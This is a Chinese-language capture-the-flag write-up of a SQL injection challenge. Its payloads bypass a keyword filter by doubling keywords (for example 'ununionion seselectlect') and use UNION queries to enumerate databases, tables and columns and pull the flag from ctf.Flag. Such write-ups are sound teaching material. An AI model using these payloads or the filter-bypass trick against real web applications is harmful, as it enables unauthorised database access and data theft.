1.判断注入类型
1'
发现报错
原因:select name.passwd from users where username=' 1' ' and password=‘ ’;
有语法错误
所以可以判断为字符型注入
2. 利用order by 语句判断字段数
3. 说明存在过滤,所以双写绕过过滤,执行注入成功
但是不知道字段数,所以显位的时候猜一下字段数
4.显位 ,注意双写union,select绕过过滤
1' ununionion seselectlect 1,2 #
1' ununionion seselectlect 1,2,3 #
说明字段数为3
5. 爆库(双写)
1' ununionion seselectlect 1,2,database()# 显示出当前数据库
1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom (infoorrmation_schema.schemata)#
显示出所有数据库
得到当前数据库为geek
观察所有数据库中发现叫ctf的有点可以,当然在后续操作 中你也可以查一下其他数据库有没有线索
6. 爆表:利用union select联合查询,获取表名
在这里查询geek和ctf
1' ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" #
1' ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" #
geek库中有b4bsql,geekuser两个表
ctf库中有Flag表,里面应该就是我们想要的flag信息,所以继续对ctf库。表。内容进行操作
7.爆列:利用union select 联合查询,获取字段名
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag" #
得到字段名为flag,继续爆值
8. 爆值:利用union select 联合查询,获取字段值
1' ununionion seselectlect 1,2,group_concat(flag) frfromom (ctf.Flag)#
所以最终在ctf库Flag表flag列中得到flag的值